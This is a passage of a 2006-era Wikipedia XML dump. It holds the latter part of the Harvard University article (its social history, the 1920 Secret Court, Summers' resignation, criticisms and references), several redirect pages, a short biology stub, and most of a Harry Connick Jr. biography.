Story{{ref|story3}} also notes that &quot;all the evidence... points to the four decades from 1815 to 1855 as the era when parents, in Henry Adams's words, began 'sending their children to Harvard College for the sake of its social advantages.'&quot;

Steinberg{{ref|steinberg}} notes that &quot;a climate of intolerance prevailed in many eastern colleges long before discriminatory quotas were contemplated&quot; and noted that &quot;Jews tended to avoid such campuses as Yale and Princeton, which had reputations for bigotry.... Under President Eliot's administration, Harvard earned a reputation as the most liberal and democratic of the Big Three, and therefore Jews did not feel that the avenue to a prestigious college was altogether closed.&quot; This was to change sharply under Eliot's successor, A. Lawrence Lowell. 

Harvard became the bastion of a distinctly Protestant elite--the so-called [[Boston Brahmin]] class--well into the 20th century. Its discriminatory policies against immigrants, Catholics and Jews were partly responsible for the founding of [[Boston College]] in the 19th century and [[Brandeis University]] in 1948. The social milieu at Harvard is depicted in [[Owen Wister]]'s ''Philosophy 4,'' set in the 1870s, which contrasts the character and demeanor of two undergraduates who &quot;had colonial names (Rogers, I think, and Schuyler)&quot; with that of their tutor, one Oscar Maironi, whose &quot;parents had come over in the steerage.&quot; [[Myron Kaufman]]'s 1957 novel ''Remember Me to God'' follows the life of a Jewish undergraduate in 1940s Harvard, navigating the shoals of casual antisemitism as he desperately seeks to become a gentleman, be accepted into The Pudding, and marry the Yankee protestant Wimsy Talbot. 

In 2002, it was revealed by ''The Crimson'' that in 1920 &quot;Harvard University maliciously persecuted and harassed&quot; those it believed to be gay via a &quot;Secret Court&quot; led by Harvard President A. Lawrence Lowell. The inquistions and expulsions carried out by this tribunal, in conjunction with the &quot;vindictive tenacity of the university in ensuring that the stigmatization of the expelled students would persist throughout their productive lives&quot; led to several suicides. Wright placed the origins of the purge in an astounding ignorance of the day's most advanced thinking about sexual inversion, an excessive idealization of the idea of the &quot;Harvard man&quot;, and an anxiety to dissociate the university from a reputation as a haven for homosexuals. Current President Lawrence Summers characterized the episode as &quot;Part of a past that we have rightly left behind&quot;, and &quot;abhorrent and an affront to the values of our university&quot;.{{ref|secretcourt}}

===Recent developments===
[[Image:Harvard college - annenberg hall.jpg|right|250px|thumb|Destroyed by fire in the 1950s, Memorial Hall's ornate tower was rebuilt in 1999]]
On February 21, 2006, president [[Lawrence Summers]] announced his intention to resign the presidency, effective June 30, 2006. His resignation came just one week before a second planned vote of no confidence by the Harvard Faculty of Arts and Sciences. Former president [[Derek Bok]] will serve as interim president starting July 1. Members of Harvard's Faculty of Arts and Sciences, which instructs graduate students in GSAS and undergraduates in Harvard College, had passed an earlier motion of &quot;lack of confidence&quot; in Summers' leadership on March 15, 2005 by a 218-185 vote, with 18 abstentions.  The motion was prompted by his public comments in a talk about the place of women in academia.  In response, Summers convened two committees to study this issue: the Task Force on Women Faculty and the Task Force on Women in Science and Engineering. Summers had also pledged $50 million to support their recommendations and other proposed reforms. 

In the aftermath of [[Hurricane Katrina]], Harvard, along with numerous other institutions of higher education across the [[United States]] and [[Canada]], offered to take in students who were unable to attend universities and colleges that were closed for the fall semester.  Twenty-five students were admitted to the College, and the [[Harvard Law School| Law School]] made similar arrangements.  Tuition was not charged and housing was provided.

Controversy ensued, however, when the Administrative Board ruled that those students visiting from [[Tulane University]] would have to return to their home college for spring semester, and would not be able to apply for inter-year transfer, a policy consistent with other comparable universities like [[Yale University|Yale]]'s. The Undergraduate Council advocated for the students to stay or be allowed inter-year transfer rights, whereas the Crimson posted occasional op-ed pieces about the necessity of the students leaving to maintain integrity of contracts.

==Notable student organizations==
&lt;!-- all but the most notable and historically significant student organizations should be placed in their respective school articles (College, KSG, HLS, etc...--&gt;
* The [[Harvard Crimson]] is United States' second oldest daily college newspaper and is doordropped to student rooms.
* The [[Harvard Lampoon]], an undergraduate humor organization and publication founded in 1876 and rival to the Harvard Crimson. The erratically-produced magazine was originally modelled on the former British satirical periodical Punch, and has outlived it to become the world's second-oldest humor magazine (after the Yale Record). [[Conan O'Brien]] was president of the Lampoon. The [[National Lampoon]] was founded as an offshoot in 1970 from the [[Harvard Lampoon]].
* Radio station [[WHRB]] (95.3FM Cambridge), is run exclusively by Harvard students, and is given space on the Harvard campus in the basement of Pennypacker Hall, a freshman dorm. Known throughout the [[Boston, Massachusetts|Boston]] metropolitan area for its classical, jazz, underground rock and blues programming, WHRB uses the radio &quot;Orgy&quot; format, where the entire catalog of a certain band, record, or artist is played in sequence.
[[Image:Lampoon.jpg|right|250px|thumb|The Harvard Lampoon &quot;castle&quot; with its characteristic rooftop ibis and its purple and yellow door]]
* The [http://www.iop.harvard.edu Institute of Politics], housed in Harvard's Kennedy School of Government and features keynotes daily, student study groups with political activists and leaders, and a center of nonpartisan political community at Harvard.
* [http://www.uchoir.harvard.edu/  Harvard University Choir], the oldest university choir in the nation, formally established in 1834 but in existence since the eighteenth century, performs the oldest Christmas Carol Services in continuous existence in North America.
* [[Harvard Glee Club]], the oldest college chorus in America, founded in 1858.
* [[Harvard Radcliffe Orchestra]], founded in 1808.

==People associated with Harvard University==

Seventy-five [[Nobel Prize]] winners are affiliated with the university, and since 1974, nineteen [[Nobel Prize]] winners and fifteen [[Pulitzer Prize]] winners have served on the Harvard faculty. For details, see [[Nobel Prize laureates by university affiliation]].	 
*[[List of Harvard University people|People associated with Harvard University]]	 
*[[President of Harvard University#Presidents of Harvard|Presidents of Harvard]]

==Views of Harvard==

In 1893, Baedeker's guidebook called Harvard &quot;the oldest, richest, and most famous of American seats of learning.&quot; The first two facts remain true today; the third is also arguably true. As of 2005, Harvard was ranked first among world universities by [[Times Higher Education Supplement]] and the [[Academic Ranking of World Universities]][http://ed.sjtu.edu.cn/rank/2005/ARWU2005_Top100.htm] and shared the first spot with [[Princeton_University|Princeton]] in [[US News and World Report]] rankings.

Perhaps because of this prominence, Harvard is the target of a number of criticisms, some of them leveled at other research-based American universities.  It has been accused of  [[grade inflation]], as have other Ivy League institutions and [[Stanford University]].{{ref|princetongrades}}.  The [[Carnegie Foundation for the Advancement of Teaching]], ''[[The New York Times]]'', and some students have criticized Harvard for its reliance on [[teaching assistant|teaching fellows]] in undergraduate education, as many in the faculty are engaged in research (assistant teaching is not taken into account by the major [[college and university rankings]]); they consider this to be detrimental to the quality of education.{{ref|nytimestfteach}}{{ref|carnegietfteach}} The New York Times article also detailed that the problem was prevalent in other Ivy League schools.

The Boston Globe reported obtaining a 21-page Harvard internal memorandum that expressed concern about undergraduate student satisfaction based on the Consortium on Financing Higher Education (COFHE) survey of 31 top universities.  [http://www.boston.com/news/education/higher/articles/2005/03/29/student_life_at_harvard_lags_peer_schools_poll_finds/]    The Harvard internal memorandum noted that: &quot;Harvard students are less satisfied with their undergraduate educations than the students at almost all of the other COFHE schools.  Harvard student satisfaction compares even less favorably to satisfaction at our closest peer institutions.&quot;  While the actual survey results as reported by the Globe are open to interpretation, the Harvard Crimson editorial board opined that &quot;we believe the implications of this survey are significant, and  the administration ought to make satisfying undergraduates a top priority for the near future.&quot; [http://www.thecrimson.com/article.aspx?ref=506807] The Globe quoted Lawrence Buell, former Harvard Dean of Undergraduate Education, as saying &quot;I think we have to concede that we are letting our students down.&quot;

The Globe presented COFHE survey results and quotes from Harvard students that suggest problems with faculty availability, quality of instruction, quality of advising, social life on campus, and sense of community dating back to at least 1994.  The magazine section of the Harvard Crimson echoed similar academic and social criticisms. [http://www.thecrimson.com/article.aspx?ref=350153] [http://www.thecrimson.com/article.aspx?ref=350154]  The Harvard Crimson quoted Harvard College Dean Benedict Gross as being aware of and committed to improving the issues raised by the COFHE survey.  [http://www.thecrimson.com/article.aspx?ref=506758]  However, in the same article, Harvard Professor Harvey C. Mansfield expressed skepticism at the willingness of faculty to improve the undergraduate experience: &quot;I think the administration has a commitment to improving Harvard, but I don't think the majority of the faculty does.  They are the ones who are complacent and deserve most of the criticism.&quot; 

The undergraduate admissions office's [[legacy preferences|preference for children of alumni]]{{ref|legacy}} has been the subject of much scrutiny and debate. Under new financial aid guidelines, parents in families with incomes of less than $40,000 will no longer be expected to contribute any money at all to the cost of attending Harvard for their children, including room and board. Families in the $40,000 to $60,000 contribute an amount of only a few thousand dollars a year.

Harvard and Harvard students have also frequently been criticized for self-promotion in various forms, although it is somewhat unclear how this differentiates Harvard from the school pride of any other university.  In ''&quot;A Flood of Crimson Ink&quot;'' ([[Wall Street Journal]], April, 2005) [http://www.opinionjournal.com/forms/printThis.html?id=110006623], the author asserts that one reason Harvard receives much attention from the press is because &quot;Harvard graduates are disproportionately represented in the upper echelons of American journalism.&quot; Critics of Harvard self-marketing charge that the school is filled with students &quot;specifically selected for their skills at self-promotion&quot; [http://maroon.uchicago.edu/viewpoints/articles/2005/05/09/its_no_surprise_that.php].  This undoubtedly applies to other top schools in view of what is necessary to gain acceptance to highly competitve universities in the U.S. today.

==Further reading==
*John T. Bethell, ''Harvard Observed: An Illustrated History of the University in the Twentieth Century'', Harvard University Press, 1998, ISBN 0674377338
*&lt;span id=&quot;Trumpbour&quot;&gt;John Trumpbour, ed.&lt;/span&gt;, ''How Harvard Rules'', Boston: South End Press, 1989, ISBN 0896082830
*Hoerr, John, ''We Can't Eat Prestige: The Women Who Organized Harvard;'' Temple University Press, 1997, ISBN 1566395356



==External links==
{{commons|Harvard}}

*[http://www.harvard.edu/ Harvard University] 	

{{Mapit-US-buildingscale|42.376253|-71.116433}}

==References==
# {{note|endowment}} Zachary M. Seward. &quot;Endowment Up 21 Percent&quot;. ''[[The Harvard Crimson]]''.  [[September 15]], [[2004]]. http://www.thecrimson.com/article.aspx?ref=503347
# {{note|worldrankings}} &quot;World University Rankings&quot;.  ''[[The Times]]'' Educational Supplement.  http://www.thes.co.uk/worldrankings/
# {{note|acceptancerate}} Daniel J. T. Schuker. &quot;Admissions Rate Sets New Low&quot;. ''The Harvard Crimson''.  [[April 4]], [[2005]].  http://www.thecrimson.com/article.aspx?ref=506804
# {{note|atlanticselective}} Don Peck.  &quot;The Selectivity Illusion&quot;.  ''[[The Atlantic Monthly]]''.  November 2003.  http://www.theatlantic.com/doc/prem/200311/peck
# {{note|rogers}} Rogers, Mary F. (1991) ''Novels, Novelists, and Readers: Toward a Phenomenological Sociology of Literature''. SUNY Press, ISBN SUNY Press p. 102 (List of Harvard-atmosphere items mentioned in first two chapters)
# {{note|king}} [http://www.thecrimson.harvard.edu/article.aspx?ref=357405 Ruffling Religious Feathers], Harvard Crimson article, February 12, 2004: &quot;symbology&quot; doesn't exist, and semiology isn't represented at Harvard.
# {{note|usnews}} &quot;The Best Graduate Schools 2006&quot;. ''[[U.S. News &amp; World Report]]''.  http://www.usnews.com/usnews/edu/grad/rankings/rankindex_brief.php
# {{note|kaplan}} Kaplan (2004), ''Unofficial, Unbiased Guide to the 331 Most Interesting Colleges 2005,'' p. 174; Simon and Schuster, ISBN 0743251997 (&quot;Duke: the Harvard of the North&quot;)
# {{note|steinberg}} Steinberg, Stephen (2001), '''The Ethnic Myth'''. Beacon Press, ISBN 080704153X. (Harvard most democratic of the Big Three under Eliot, p. 234)
# {{note|baltzell}} (1994) Baltzell, Digby E. and Howard G. Schneiderman, ''Judgment and Sensibility: Religion and Stratification.&quot; Transaction Publishers, ISBN 0819550442 1560000481. The material cited is a review of a book by Ronald Story (1980), ''The Forging of an Aristocracy: Harvard and the Boston Upper Class, 1800-1870'', Wesleyan University Press, ISBN 0819550442.
# {{note|story2}} Story, Ronald (1980), ''The Forging of an Aristocracy: Harvard and the Boston Upper Class, 1800-1870'', Wesleyan University Press, ISBN 0819550442 (p. 50: Harvard's explosive growth from 1800 to 1850 separate it from other colleges)
# {{note|story3}} Story (1980) op. cit. p. 97, (1815-1855 as the era when Harvard began to be perceived as socially advantageous)
# {{note|uselection2004}} Rebecca D. O'Brien.  &quot;Kerry Tops Crimson Poll&quot;. ''The Harvard Crimson''.  [[October 29]], [[2004]].  http://www.thecrimson.com/article.aspx?ref=504151
# {{note|Burr}} Ty Burr. &quot;Reel Boston&quot;. ''The Boston Globe''. [[February 27]], [[2005]]. http://www.boston.com/news/globe/magazine/articles/2005/02/27/reel_boston/
# {{note|Catalano}} Nina M. Catalano. &quot;Harvard TV Show Popular in Korea&quot;. ''The Harvard Crinsom''. [[December 13]], [[2004]]. http://www.thecrimson.com/printerfriendly.aspx?ref=505050
# {{note|gradeinflation1}} Linda Wertheimer.  &quot;Harvard Grade Inflation&quot;.  ''[[All Things Considered]]''.  [[National Public Radio]]. [[November 21]], [[2001]]. http://www.npr.org/templates/story/story.php?storyId=1133702
# {{note|gradeinflation2}} Rebecca M. Milzoff, Amit R. Paley, and Brendan J. Reed.  &quot;Grade Inflation is Real&quot;.  ''Fifteen Minutes''.  [[March 1]], [[2001]].  http://www.thecrimson.com/fmarchives/fm_03_01_2001/article4A.html
# {{note|princetongrades}} &quot;Princeton becomes first to formally combat grade inflation&quot;. [[Associated Press]].  [[April 26]], [[2004]].  http://www.usatoday.com/news/education/2004-04-26-princeton-grades_x.htm
# {{note|nytimestfteach}} David L. Hicks. &quot;Should Our Colleges Be Ranked?&quot;  Letter to ''The New York Times''. [[September 20]], [[2002]].  http://query.nytimes.com/gst/fullpage.html?res=9803E5D71130F933A1575AC0A9649C8B63
# {{note|carnegietfteach}}  John Merrow.  &quot;Grade Inflation: It's Not Just an Issue for the Ivy League&quot;.  ''Carnegie Perspectives''.  The Carnegie Foundation for the Advancement of Teaching.  June 2004.  http://www.carnegiefoundation.org/perspectives/perspectives2004.June.htm
# {{note|yaletfteach1}} Mark Alden Branch.  &quot;Who's Teaching Whom?&quot; ''[[Yale University|Yale]] Alumni Magazine''.  Summer 1999 http://www.yalealumnimagazine.com/issues/99_07/GESO.html
# {{note|dartmouthtfteach}} http://www.dartreview.com/archives/1998/04/29/harvard_research_and_destroy.php
# {{note|Bokcrit}} Bok, in Derek Bok, ''Universities in the Marketplace'', Princeton (2003)
# {{note|rosovsky}} Rosovsky, in Henry Rosovsky, ''The University: An Owner's Manual'', Norton (1990)
# {{note|corporate}} John Trumpbour, ed., ''How Harvard Rules'', South End (1989)
# {{note|legacy}} http://www.digitas.harvard.edu/~perspy/old/issues/1997/nov/second.html
# {{note|nytimesminorities}} http://www.nytimes.com/2005/03/01/education/01college.html
# {{note|hbscasemethod}} http://www.cfoeurope.com/displayStory.cfm/1777470
# {{note|facultyplagiarism}} http://www.thecrimson.com/article.aspx?ref=503493
# {{note|secretcourt}} [[William Wright (author) | Wright, William]], ''Harvard's Secret Court: The Savage 1920 Purge of Campus Homosexuals'', St. Martin's Press, New York, 2005. ISBN 0312322712. 
 
{{Harvard}}
{{Ivy League}}
{{ECAC Hockey League}}
{{Colleges and universities in metropolitan Boston}}

[[Category:Association of American Universities]]
[[Category:Harvard University| ]]
[[Category:Ivy League]]
[[Category:New England Association of Schools %26 Colleges]]
[[Category:Colonial colleges]]
[[Category:1636 establishments]]

&lt;!-- main campus in --&gt; [[Category:Cambridge, Massachusetts]]
&lt;!-- business and medical campuses in --&gt; [[Category:Boston, Massachusetts]]

[[bg:Харвард]]
[[ca:Universitat de Harvard]]
[[cs:Harvardova univerzita]]
[[da:Harvard-universitetet]]
[[de:Harvard University]]
[[el:Πανεπιστήμιο του Χάρβαρντ]]
[[es:Universidad de Harvard]]
[[fr:Université Harvard]]
[[gl:Universidade de Harvard]]
[[ko:하버드 대학교]]
[[id:Universitas Harvard]]
[[he:אוניברסיטת הרווארד]]
[[la:Universitas Harvardiana]]
[[hu:Harvard Egyetem]]
[[nl:Harvard-universiteit]]
[[no:Harvard University]]
[[ja:ハーバード大学]]
[[pl:Uniwersytet Harvarda]]
[[ro:Universitatea Harvard]]
[[ru:Гарвардский университет]]
[[fi:Harvardin yliopisto]]
[[sv:Harvard University]]
[[uk:Гарвардський Університет]]
[[zh:哈佛大学]]</text>
    </revision>
  </page>
  <page>
    <title>Humans</title>
    <id>13738</id>
    <revision>
      <id>15911331</id>
      <timestamp>2002-10-10T17:21:42Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Human]]</comment>
      <text xml:space="preserve">#REDIRECT [[Human]]</text>
    </revision>
  </page>
  <page>
    <title>Hawaiian monarchy</title>
    <id>13739</id>
    <revision>
      <id>15911332</id>
      <timestamp>2004-05-20T20:56:14Z</timestamp>
      <contributor>
        <username>Gerald Farinas</username>
        <id>69007</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Kingdom of Hawaii]]</text>
    </revision>
  </page>
  <page>
    <title>Hawaiian alphabet</title>
    <id>13740</id>
    <revision>
      <id>15911333</id>
      <timestamp>2004-11-10T03:46:17Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>{{r with possibilities}}</comment>
      <text xml:space="preserve">#REDIRECT [[Hawaiian language]] {{r with possibilities}}</text>
    </revision>
  </page>
  <page>
    <title>Heterogamous</title>
    <id>13741</id>
    <revision>
      <id>36046438</id>
      <timestamp>2006-01-21T03:58:30Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>added category</comment>
      <text xml:space="preserve">'''Heterogamous''' describes a species in which [[gamete|gametes]] show [[sexual dimorphism]] (that is, [[sperm]] and [[ovum]]).  This is in contrast to a [[homogamous]] species in which all gametes are the same type.

[[Category:Biological reproduction]]
{{biosci-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Hero Wars</title>
    <id>13742</id>
    <revision>
      <id>38565880</id>
      <timestamp>2006-02-07T03:44:27Z</timestamp>
      <contributor>
        <username>Avador</username>
        <id>246309</id>
      </contributor>
      <comment>creating redirect</comment>
      <text xml:space="preserve">#REDIRECT [[HeroQuest (role-playing game)]]</text>
    </revision>
  </page>
  <page>
    <title>Harry Connick, Jr.</title>
    <id>13743</id>
    <revision>
      <id>41935585</id>
      <timestamp>2006-03-02T19:07:20Z</timestamp>
      <contributor>
        <ip>24.189.45.16</ip>
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      <comment>/* Back to basics: return to jazz, 1999&amp;mdash;current */</comment>
      <text xml:space="preserve">[[Image:Harryconnickjr.jpg|thumbnail|220px|Harry Connick, Jr.]]
'''Harry Connick, Jr.''' (born [[September 11]], [[1967]]) is an [[United States|American]] [[Popular Music/Performers|singer]], [[pianist]], [[actor]], and [[humanitarian]].  
His music encompasses [[jazz]], some of it very much in the style of the [[crooner]]s of the [[1940s]] and early [[1950s|'50s]], [[funk]] and [[blues]]. He married model [[Jill Goodacre]] in [[1994]].  They have three daughters: Georgia Tatom (April 17, 1996), Sarah Kate (September 12, 1997), and Charlotte (June 26, 2002).  He is a prime organizer and captain of the [[Krewe of Orpheus]], a music-based krewe, taking its name from [[Orpheus]] of Classical mythology. The Krewe of Orpheus parades on St. Charles Avenue and Canal Street on Lundi Gras (Fat Monday) &amp;mdash; the day before [[Mardi Gras]] (Fat Tuesday).

==Early history==

Harry Connick, Jr., was born '''Joseph Harry Fowler Connick''' in New Orleans, [[Louisiana]], on September 11, 1967. His father, [[Harry Connick, Sr.]], was of [[Irish Catholic]] descent and the [[district attorney]] of [[New Orleans]] for 27 years; his [[New York]]-born [[Jewish]] mother was a [[Lousiana]] [[Supreme Court Justice]]. His parents also owned a record store. Connick's musical talents soon came to the fore when he learned the keyboards at the age of three, played publicly at six and recorded with a local jazz band at 10. His musical talents were developed at the [[New Orleans Center for the Creative Arts]] and under the tutelage of [[Ellis Marsalis, Jr.|Ellis Marsalis]] and [[James Booker]].

Connick attended [[Jesuit High School, New Orleans|Jesuit High School]] in [[New Orleans, Louisiana|New Orleans]].  He moved to [[New York City]] to study at [[Hunter College]] and the [[Manhattan School of Music]], where a [[Columbia Records]] executive persuaded him to sign with that label. His first record, ''[[Harry Connick Jr. (album)|Harry Connick Jr.]]'', was a mainly instrumental album of standards. He soon acquired a reputation in jazz due to extended stays at high-profile New York venues. His second album, ''[[20 (album)|20]]'', featured his vocals and added to this reputation.

== ''When Harry Met Sally...''&amp;mdash;chart and movie success ==
With Connick's growing reputation, director [[Rob Reiner]] asked him to provide a soundtrack for his [[1989]] [[romantic comedy]] ''[[When Harry Met Sally...]]'', starring [[Meg Ryan]] and [[Billy Crystal]]. The soundtrack consisted of several standards, including &quot;[[It Had to Be You (song)|It Had to Be You]]&quot;, &quot;Let's Call the Whole Thing Off&quot; and &quot;Don't Get Around Much Anymore&quot;, and achieved double-platinum status in the United States. He won his first [[Grammy]] for Best Jazz Male Vocal Performance for his work on the soundtrack.

Connick made his screen debut in ''[[Memphis Belle (film)|Memphis Belle]]'' ([[1990]]), about a [[B-17]] bomber crew in World War II. In that year, he began a two-year world tour. Not content with that, he released two albums in July 1990: the jazz trio album ''[[Lofty's Roach Souffle]]'' and another album of standards titled ''[[We Are in Love]]'', which also went double platinum. ''We Are in Love'' earned him his second consecutive Grammy for Best Jazz Male Vocal.

&quot;[[Promise Me You'll Remember]]&quot;, his contribution to the [[The Godfather Part III (soundtrack)|Godfather III soundtrack]], was nominated for both an [[Academy Award]] and a [[Golden Globe]] in [[1991]]. In a year of recognition, he was also nominated for an [[Emmy]] for Best Performance in a Variety Special for his [[PBS]] special ''[[Swingin' Out Live]]'', which was also released as a video. In October 1991, he released his third consecutive multi-platinum album, ''[[Blue Light, Red Light]]'', on which he wrote and arranged the songs. In October 1991, he starred in ''[[Little Man Tate]]'', directed by [[Jodie Foster]], playing the friend of a child prodigy who goes to college.

Harry Connick, Jr., was arrested in [[1992]] and charged with having a 9mm pistol in his possession at [[JFK International Airport]]. After spending a day in jail, he agreed to make a public-service television commercial warning against breaking gun laws. The court agreed to drop all charges if Connick stayed out of trouble for six months.

In November 1992, Connick released ''[[25 (album)|25]]'', a solo piano collection of standards that again went platinum. He also re-released the album ''[[11 (Harry Connick Jr. album)|Eleven]]''. Harry Connick, Jr., contributed &quot;A Wink and a Smile&quot; to the ''[[Sleepless in Seattle]]'' soundtrack, released in [[1993]]. His multi-platinum album of holiday songs, ''[[When My Heart Finds Christmas]]'', was the best-selling Christmas album in 1993.

==Flirtation with funk in the mid-[[1990s]]==

In [[1994]], Harry Connick, Jr., decided to branch out, releasing ''[[She (album)|She]]'', an album of New Orleans [[funk]] that also went platinum. In addition, he released a song called &quot;(I Could Only) Whisper Your Name&quot; for the soundtrack of ''[[The Mask]]'', starring [[Jim Carrey]], which is his most successful single in the United States to date. He took his funk music on a tour of the United Kingdom in 1994, an effort that did not please all of his fans, who were expecting a jazz crooner. One fan who walked out said, &quot;We expected Frank Sinatra but we got [[Motörhead]] instead.&quot; The music was actually more reminiscent of [[the Meters]] rather than Motörhead. Connick also took his funk music to the [[People's Republic of China]] in [[1995]], playing at the [[Shanghai Center Theatre]]. The performance was televised live in China for what became known as the [[Shanghai]] [[Gumbo]] special.

Connick played a homicidal killer in his third film, ''[[Copycat (movie)|Copycat]]'' (1995), which starred [[Holly Hunter]] and [[Sigourney Weaver]]. The next year, he released his second funk album, ''[[Star Turtle]]'', which did not sell as well as previous albums, although it did reach No. 38 on the charts. However, he appeared in the most successful movie of that year, ''[[Independence Day (movie)]]'', with [[Will Smith]] and [[Jeff Goldblum]].

==Back to basics: return to jazz, 1999&amp;mdash;current==

For his [[1997]] release ''[[To See You]]'', Connick recorded original love songs, touring the United States and Europe with a full symphony orchestra backing him and his piano in each city. As part of his tour, he played at the [[Nobel Peace Prize Concert]] in [[Oslo]], [[Norway]], with his final concert of that tour in [[Paris]] being recorded for a [[St. Valentine's Day]] special on PBS in [[1998]]. He also starred in ''[[Excess Baggage]]'' opposite [[Alicia Silverstone]] and [[Benicio del Toro]] in 1997. 

In May 1998, he had his first leading role in a movie in ''[[Hope Floats]]'', with [[Sandra Bullock]] as his female lead. He released ''[[Come By Me]]'', his first album of [[big band]] music in eight years in [[1999]], and embarked on a world tour visiting the United States, Europe, Japan and Australia. In addition, he provided the voice of Dean McCoppin in the animated film ''[[The Iron Giant]]'' in that year.

Connick was involved in writing the soundtrack for [[Susan Stroman]]'s [[Broadway theatre|Broadway]] [[Musical theater|musical]] ''[[Thou Shalt Not (musical)|Thou Shalt Not]]'', based on [[Émile Zola]]'s novel ''[[Thérèse Raquin]]'', in [[2000]]; it premiered in [[2001]]. It was nominated for a [[Tony Award]]. He was also the narrator of the film ''[[My Dog Skip]]'', released in that year. 

In March 2001, Connick starred in a television production of ''[[South Pacific (musical)|South Pacific]]'' with [[Glenn Close]], televised on the [[American Broadcasting Company|ABC]] network. He also starred in his twelfth movie, ''[[Mickey (2004 movie)|Mickey]]'', featuring a screenplay by [[John Grisham]] that same year. In October 2001, he again released two albums: ''[[Songs I Heard]]'', featuring big band reworkings of children's show themes, and ''[[30 (album)|30]]'', featuring Connick on piano with guest appearances by several other musical artists. ''Songs I Heard'' won Connick another Grammy for best traditional pop album and he toured performing songs from the album, holding matinees at which each parent had to be accompanied by a child.

Connick appeared as Grace Adler's boyfriend (and later husband) [[Leo Markus]] on the [[NBC]] [[sitcom]] ''[[Will &amp; Grace]]'' from [[2002]] to [[2004]]. In July 2003, Connick released his first instrumental album in fifteen years, ''[[Other Hours Connick on Piano Volume 1]]''. It was released on [[Branford Marsalis]]'s new label [[Marsalis Music]] and led to a short tour of nightclubs and small theaters.
[[Image:Connick_Harry.jpg|thumb|right|205px|Harry Connick Jr., promo picture ''[[Only You (Harry Connick Jr)|Only You]]'' (2004)]]

Connick appeared in the film ''[[Basic (movie)|Basic]]'' with [[John Travolta]] and [[Samuel L. Jackson]]. In October 2003, he released his second Christmas album, ''[[Harry for the Holidays]]'', which went  gold and reached No. 12 on the [[Billboard 200]] album chart. He also had a television special on [[NBC]] featuring [[Whoopi Goldberg]], [[Nathan Lane]], [[Marc Anthony]] and [[Kim Burrell]]. ''[[Only You (Harry Connick Jr)|Only You]]'', his seventeenth album for Columbia Records, was released in February [[2004]]. A collection of [[1950s]] and [[1960s]] ballads, ''Only You'', went Top Ten on both sides of the Atlantic and was certified gold in the United States in March 2004. The ''Only You'' tour with big band went on in America, Australia and a short trip to Asia. ''Harry for the Holidays'' was certified platinum in November 2004. A music DVD ''Harry Connick Jr. - &quot;Only You&quot; in Concert'' was released in March 2004, after it had first aired as a ''Great Performances'' special on [[PBS]]. The special won him an [[Emmy]] for Outstanding Music Direction. The DVD received a Gold &amp; Platinum Music Video - Long Form awards from the RIAA in November 2005.  

An animated holiday special, ''[[The Happy Elf]]'', aired on NBC in December 2005, and had Connick as the composer, the narrator, and one of the executive producers. Shortly after, it was released on DVD. The holiday special was based on his original song ''The Happy Elf'', from his 2003 album ''[[Harry for the Holidays]]''. Another album from [[Marsalis Music]] was recorded in 2005, ''[[Occasion : Connick on Piano, Volume 2]]'', a duo album with Harry Connick, Jr on piano together with [[Branford Marsalis]] on saxophone. A music dvd, ''[[A Duo Occasion]]'', was filmed at the [[Ottawa International Jazz Festival]] 2005 in Canada, and released in November 2005. 
He appeared in another episode of NBC sitcom ''[[Will &amp; Grace]]'' in November 2005, and will appear in additional 3 episodes in 2006. ''[[Bug (2006 movie)|Bug]]'', a film directed by [[William Friedkin]], is a psychological thriller filmed in 2005, starring Connick, [[Ashley Judd]], and Michael Shannon. The film will be released in 2006. He is currently starring in the Broadway revival of ''[[The Pajama Game]]'', produced by the Roundabout Theater Company, along with [[Michael McKean]] and [[Kelli O'Hara]], at the ''American Airlines Theatre''.  It opened [[February 23]] [[2006]], and is scheduled to run until [[June 18]] [[2006]].

==Involvement for Hurricane Katrina Victims==

===NBC-sponsored [[benefit concert]]===
On September 2, 2005, Harry Connick, Jr. helped to organize, and appeared in, the [[NBC]]-sponsored live telethon concert, ''[[A Concert for Hurricane Relief]]'', for relief in the wake of [[Hurricane Katrina]]. As a native son of New Orleans, he spent several days touring the city, attempting to draw attention to the plight of citizens stranded at the [[New Orleans Convention Center]] and other places. At the concert he paired with host [[Matt Lauer]] ([[Today Show]]), and entertainers including [[Tim McGraw]], [[Faith Hill]], [[Kanye West]], [[Mike Myers (actor)|Mike Myers]], and [[John Goodman]]. 

===Habitat For Humanity===
6 September 2005, New Orleans native Harry Connick Jr. is made honorary chair of [[Habitat for Humanity]]’s “[[Habitat for Humanity|Operation Home Delivery]],” a long-term rebuilding plan for families victimized by Hurricane Katrina in the [[Big Easy]] and along the [[Gulf Coast]]. 

====Musicians' Village====
Harry Connick Jr. and [[Branford Marsalis]] came up with an initiative to help restore [[New Orleans]]'s musical [[Cultural heritage|heritage]]. Habitat for Humanity and New Orleans Area Habitat for Humanity, working with Harry Connick Jr. and Branford Marsalis announced December 6, 2005, plans for a Musicians' Village in New Orleans. The Musicians' Village will include Habitat-constructed homes, with a ''Ellis Marsalis Center for Music'', as the area's centerpiece. The Habitat-built homes will provide [[musicians]] of modest means the opportunity to buy decent, affordable housing. 

'''External links'''
*[http://msnbc.msn.com/id/10995263/ Article, including 2 video clips] at msnbc.msn.com
*[https://www.habitat.org/giving/donate.aspx?link=75 Musicians' Village/New Orleans] at habitat.org

===Benefit Albums===
* 2005 ''[[Hurricane Relief: Come Together Now]]'' - track #5 &quot;[[City Beneath The Sea]]&quot; disc.1 ([[RIAA]] will donate 100% of its net proceeds from the sale of this CD in equal parts to the [[American Red Cross]], [[Habitat for Humanity]] and [[MusiCares]] Hurricane Relief 2005)
* 2005 ''[[A Celebration of New Orleans Music to benefit the MusiCares Hurricane Relief Fund]]'' - track #3 &quot;Good to Be Home&quot; (All proceeds will go to the [[MusiCares]] Hurricane Relief Fund)

==Discography==
===Albums===
* 2005 ''[[Occasion : Connick on Piano, Volume 2]]''
* 2004 ''[[Only You (Harry Connick Jr)|Only You]]''
* 2003 ''[[Harry for the Holidays]]''
* 2003 ''[[Other Hours : Connick on Piano, Volume 1]]''
* 2002 ''[[Thou Shalt Not (musical)#Cast_Recording|Thou Shalt Not]]'' (original [[Broadway theatre|Broadway]] cast recording)
* 2001 ''[[Songs I Heard]]''
